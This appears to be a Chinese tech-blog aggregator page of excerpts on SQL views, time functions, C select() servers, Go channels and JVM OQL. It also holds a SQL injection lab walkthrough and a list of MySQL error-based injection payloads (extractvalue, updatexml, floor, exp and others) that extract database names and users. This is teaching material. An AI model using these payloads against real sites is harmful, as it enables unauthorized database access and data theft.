select函数

数据库中的视图

删除回忆录丶 提交于 2019-12-01 06:14:31
视图 视图是一个虚拟表(非真实存在),其本质是【根据SQL语句获取动态的数据集,并为其命名】,用户使用时只需使用【名称】即可获取结果集,并可以将其当作表来使用。 SELECT * FROM ( SELECT nid, NAME FROM tb1 WHERE nid > 2 ) AS A WHERE A. NAME > 'alex'; 临时表搜索 1、创建视图 --格式:CREATE VIEW 视图名称 AS SQL语句 CREATE VIEW v1 AS SELET nid, name FROM A WHERE nid > 4 View Code 2、删除视图 --格式:DROP VIEW 视图名称 DROP VIEW v1 View Code 3、修改视图 -- 格式:ALTER VIEW 视图名称 AS SQL语句 ALTER VIEW v1 AS SELET A.nid, B. NAME FROM A LEFT JOIN B ON A.id = B.nid LEFT JOIN C ON A.id = C.nid WHERE A.id > 2 AND C.nid < 5 View Code 4、使用视图 使用视图时,将其当作表进行操作即可,由于视图是虚拟表,所以无法使用其对真实表进行创建、更新和删除操作,仅能做查询用。 select * from v1 View Code

2.sql注入——联合查询/报错注入

依然范特西╮ 提交于 2019-12-01 02:28:04
Example4: 第一种方法:联合查询暴库 1.访问靶机: 发现URL栏像注入点 ①上图: ②:分析 发现一:如上图所示,访问我的靶机后,出现了两个字段,分别为id和name。(字段也就是列) 发现二:URL栏里面,有传参的形式出现(?/req=username='hacker',也就是这个 参数) 注意:%3d为等于号= 注意:%20为空格 注意:%27为单引号 //以上,可以确认为GET型注入(也就是从URL栏输入的) 2.开始试探一下 : 确认注入点 ①如何试探呢? 我们一般在拿到一个注入点后,就输入一个单引号 ' ,尝试是否会有报错,从而得到返回的sql查询语句 ②那么为什么返回的报错语句,就是sql查询语句呢? 因为,正常访问的时候,都是通过传递参数给一条查询语句,这条语句在传到sql服务器,运行该语句命令,调取相关的内容,最后回显给浏览器 ③好了,上图: ④分析: 发现一:回显了报错内容,并且为 select * from users where username='hacker' ' ⑤尝试 and 1=1 ⑥再次尝试and 1=2 //以上,可以确认无过滤,而且可以直接注入 3.使用order by猜解字段数,也就是列数,毕竟联合查询必须要列数相同。 ① 好了,开始二分法猜解法。(也就是一半一半的分,直到正确回显的临界值) 输入: order by 10 报错

SQL时间差函数timediff,timestampdiff,datediff

穿精又带淫゛_ 提交于 2019-12-01 02:27:50
时间差函数: timestampdiff 语法: timestampdiff(interval, datetime1,datetime2) 结果: 返回(时间2-时间1)的时间差,结果单位由interval参数给出。 frac_second 毫秒(低版本不支持,用second,再除于1000) second 秒 minute 分钟 hour 小时 day 天 week 周 month 月 quarter 季度 year 年    注意: MySQL 5.6之后才支持毫秒的记录和计算,如果是之前的版本,最好是在数据库除datetime类型之外的字段,再建立用于存储毫秒的int字段,然后自己进行转换计算。 # 所有格式 SELECT TIMESTAMPDIFF(FRAC_SECOND,'2012-10-01','2013-01-13'); # 暂不支持 SELECT TIMESTAMPDIFF(SECOND,'2012-10-01','2013-01-13'); # 8985600 SELECT TIMESTAMPDIFF(MINUTE,'2012-10-01','2013-01-13'); # 149760 SELECT TIMESTAMPDIFF(HOUR,'2012-10-01','2013-01-13'); # 2496 SELECT TIMESTAMPDIFF(DAY,

报错注入

本小妞迷上赌 提交于 2019-12-01 02:27:23
报错注入一般流程 报错注入的五种函数 全部都以查user()为例子~ floor() id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) extractvalue() id = 1 and (extractvalue(1, concat(0x5c,(select user())))) updatexml() id = 1 and (updatexml(0x3a,concat(1,(select user())),1)) exp() id =1 and EXP(~(SELECT * from(select user())a)) 有六种函数(但总的来说可以归为一类) GeometryCollection() id = 1 AND GeometryCollection((select * from (select * from(select user())a)b)) polygon() id =1 AND polygon((select * from(select * from(select user())a)b)) multipoint() id = 1 AND multipoint(

sql基于 extractvalue(),floor(),updatexml()函数的报错注入

我的未来我决定 提交于 2019-12-01 02:24:55
floor函数报错 select 1 from (select count(*),(concat(floor(rand(0)*2))x from information_schema.tables group by x)a; 暴库 select 1 from ( select count(*),(concat((select schema_name from information_schema.schemata limit 0,1),’|’,floor(rand(0)*2)))x from information_schema.tables group by x )a; http://www.hackblog.cn/sql.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) 爆表 select 1 from

MySQL教程

。_饼干妹妹 提交于 2019-11-30 23:51:10
此文发表在简书,复制过来,在下方放上链接。 https://www.jianshu.com/p/e6a9005c697b MySQL入门教程 一、了解SQL 1.1 数据库基础 数据库(database):保存有组织的数据的容器(通常是一个文件或一组文件) 表(table):某种特定类型数据的结构化清单 备注:数据库中的每个表用表名标识自己,此名字是唯一的。 数据类型(datatype):所容许的数据的类型。每个表列都有都有相应的数据类型,它限制(或容许)该列中存储的数据 SQL(发音为字母S-Q-L或sequel)是结构化查询语言(Structured Query Language)的缩写。SQL是一种专门用来与数据库通信的语言 MySQL是一个客户机—服务器DBMS 表头(header):每一列的名称 行(row):表中的一个记录 值(value)行的具体信息,每个值必须与该列的数据类型相同 主键(primary key)一列(或一组列),其值能够唯一区分表中每一行 列(column)表中的一个字段,所有表都是由一个或多个列组成的 外键(foreign key)外键为某个表中的一列,它包含另一个表中的主键值 1.2 MySQL脚本的基本组成 MySQL通过执行SQL脚本来完成对数据库的操作,该脚本由一条或多条MySQL语句(SQL语句+扩展语句)组成,保存时脚本文件后缀名一般为

PHP curl_multi_select函数

风流意气都作罢 提交于 2019-11-30 20:59:14
curl_multi_select — 等待所有cURL批处理中的活动连接 说明 int curl_multi_select ( resource $mh [, float $timeout = 1.0 ] ) 阻塞直到cURL批处理连接中有活动连接。 参数 mh 由 curl_multi_init() 返回的 cURL 多个句柄。 timeout 以秒为单位,等待响应的时间。 返回值 成功时返回描述符集合中描述符的数量。失败时,select失败时返回-1,否则返回超时(从底层的select系统调用). 「大理石检验平台」大理石检验平台价格变化的原因有哪些? 来源: https://www.cnblogs.com/furuihua/p/11639922.html

select服务器端模型封装——回调方式快速建立客户端

时光毁灭记忆、已成空白 提交于 2019-11-30 18:59:29
#pragma once #ifndef WINSOCK2_H #define _WINSOCK_DEPRECATED_NO_WARNINGS #include<WinSock2.h> #include<Windows.h> #pragma comment(lib, "ws2_32.lib") #endif #include<iostream> #include<thread> #include<vector> static bool ServerRun = true; static bool _isInit = false; //WSA是否初始化 struct ClientSock { SOCKET s; sockaddr_in addr; }; class SelectServer { private: int _lastError; //最后一次错误 sockaddr_in _addr; //服务器绑定的地址 SOCKET _sServer; //服务器监听套接字 int _maxClientNum = 5; //客户端最大连接数量 std::vector<ClientSock> ClientList; //客户端列表 //初始化WSA,成功返回1,失败返回0 int _Init(); public: SelectServer(int m_port);

Channel使用技巧

夙愿已清 提交于 2019-11-30 16:42:11
前言 Go协程一般使用channel(通道)通信从而协调/同步他们的工作。合理利用Go协程和channel能帮助我们大大提高程序的性能。本文将介绍一些使用channel的场景及技巧 场景一,使用channel返回运算结果 计算斐波那契数列,在学习递归时候这是个经典问题。现在我们不用递归实现,而是用channel返回计算得出的斐波那契数列。 计算前40个斐波那契数列的值,看下效率 package main import ( "fmt" "time" ) //计算斐波那契数列并写到ch中 func fibonacci(n int, ch chan<- int) { first, second := 1, 1 for i := 0; i < n; i++ { ch <- first first, second = second, first+second } close(ch) } func main() { ch := make(chan int, 40) i := 0 start := time.Now() go fibonacci(cap(ch), ch) for result := range ch { fmt.Printf("fibonacci(%d) is: %d\n", i, result) i++ } end := time.Now() delta := end.Sub

JVM 对象查询语言(OQL)[转载]

核能气质少年 提交于 2019-11-30 09:55:56
最近生产环境出现一个很奇怪的问题,测试环境无法重现,本地直连生产无法重现。于是用上 jmap + Java VisualVM 的 OQL (Object Query Language) 分析问题。 关于OGL的文章不多,特此转载,原文出处: https://blog.csdn.net/pange1991/article/details/82023771 本文主要翻译自JDK 1.8的JVM监控工具jhat中关于OQL的英文帮助说明。 可以在jhat 和 jvisualvm 中进行实践。 OQL(对象查询语言) OQL是用于查询Java堆的类SQL查询语言。OQL允许过滤/选择从Java堆中获取的信息。虽然HAT已经支持预定义的查询,例如“显示类X的所有实例”,但OQL增加了更多的灵活性。OQL基于JavaScript表达式语言。 OQL查询的形式 select <JavaScript expression to select> [ from [instanceof] <class name> <identifier> [ where <JavaScript boolean expression to filter> ] ] 解释: (1)class name是java类的完全限定名,如:java.lang.String, java.util.ArrayList, [C是char数组